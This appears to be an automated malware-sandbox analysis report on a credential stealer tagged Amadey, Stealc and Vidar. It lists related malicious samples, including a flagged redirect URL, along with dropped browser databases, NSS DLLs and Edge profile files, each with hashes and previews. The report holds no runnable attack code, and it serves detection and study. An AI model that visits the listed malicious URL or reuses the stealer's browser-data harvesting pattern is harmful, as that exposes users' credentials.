	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	A27D-Pikolinos Digital Advertising Strategy.docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator	Browse	20.198.119.143 20.198.119.84
	hnsdfs2711.bat	Get hash	malicious	Abobus Obfuscator	Browse	20.198.119.143 20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGHCFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGHCFIDAKJEBGCAFBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKEGDGCGDAKEBFIJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDHIIJKEBGHJJKFIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHIJDHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680810080779141
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVumk:Kq+n0Jc91LyKOMq+8iP5GLP/0N
MD5:	9C1CD1D7AEB7C07122959E8C6BBDE932
SHA1:	266E41763ED433DF3066FBDFD886E71D21D9F0D0
SHA-256:	9B43EDC94D19CE7E0ECB1DFF7D8555612B9A33B39E8FC9760752150D6B6A6E7B
SHA-512:	7E1C5C7473A3368A88993BC1A909166BADC869F91C85E508ADBA324BFDC3E6C047930FE277C5E6BA9B2B45E24EC3170818246B88FE7B9CA1B212DE31EFAC10A8
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAECAKKFBGCBGDGIEHCBKJJJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHDGDHJEGHIDGDHCGCBAKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5a428a7b-6960-489a-89c3-3762c1663808.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\71acdb56-9f15-4a6a-8c36-86913c613282.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46423
Entropy (8bit):	6.088300950209868
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQc5KKE5Si1zNtNGX+ku7LwU2KKhIQmxgpCio2JDSgzMMd6qD47u30+:+Mk1rT8HCKgGX+UIQ9Fo2tSmd6qE7M
MD5:	D867EBAE26B030E832958421A209BD9B
SHA1:	A10972A77792AE48688E054CFFB285AA8DCCE069
SHA-256:	AD0E703B8ED9D0BEE15960B4CAA210A7874D35221A8F7327C982AB878AF0D297
SHA-512:	5C935D3EF184D158D06209C90061C99E9C570B1CDB8C5E88CD6877EF4127B645CFBB6C53C41F2AE3C5B4AE932BCC9465AE5217504470DD080CA9D01A71466782
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377284672348955","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"453e9d9f-554a-4a29-91d4-370bd312e5da"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\72885741-defb-4db8-b61d-032a63d796f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46346
Entropy (8bit):	6.088371667755992
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQc5dKE5Si1zNtNGX+ku7Lp9U2KKhIQmxgpCio2JDSgzMMd6qD47u3B:+Mk1rT8H1KgGX+nPIQ9Fo2tSmd6qE7M
MD5:	6583BA1A3E7639EB9BBD87B1C9BF73C2
SHA1:	3BB048503286DC843A0051E0ACEEDF7DA2EF8C05
SHA-256:	47756DB38AF24B47EDB35AF6EF4F5248FB3A321CDA02553D35FB17210D963344
SHA-512:	121BDF42832E5B2BFB84F32C2A0F6D70452C9B452152A3838C278D81135F501184DB8AD2562A260F4CBD18222E584E66F98BB1A07CC64C219B9BADB66D0C936B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377284672348955","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"453e9d9f-554a-4a29-91d4-370bd312e5da"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83254a1e-12a6-420a-b441-e59a650d231b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46423
Entropy (8bit):	6.08830274221337
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQc5K9E5Si1zNtNGX+ku7LwU2KKhIQmxgpCio2JDSgzMMd6qD47u30+:+Mk1rT8HC9gGX+UIQ9Fo2tSmd6qE7M
MD5:	39B0297E96981312706ED8E9224260A5
SHA1:	31F0A923416EE054B921C75F61B99155367599E5
SHA-256:	275BE1C62A8678F37BCB50B47DE5A095202CEBD6AA5C84C9EFD56ADBB3595237
SHA-512:	07E98A370621BAC6A2BF49606085AD74B174C231860965BB7BFCFDAE47024AC1280FFEB99306896DD4BB11D55948D9F0994EB98CC1823014B6756C10B0AB39FF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377284672348955","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"453e9d9f-554a-4a29-91d4-370bd312e5da"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8ec367ab-02d8-4d74-ab25-242578e82e06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.096302226752985
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWhTi1zNtNGX+ku7LpN8gV4aC+NYKJDSgzMMd6qD47d:+/Ps+wsI7yn3GX+nQKtSmd6qE7lFoC
MD5:	F974470B5270EECC8F7FF240D7716F21
SHA1:	E8793B54E8B4B45DA147FE7D372A0A06CCB0B171
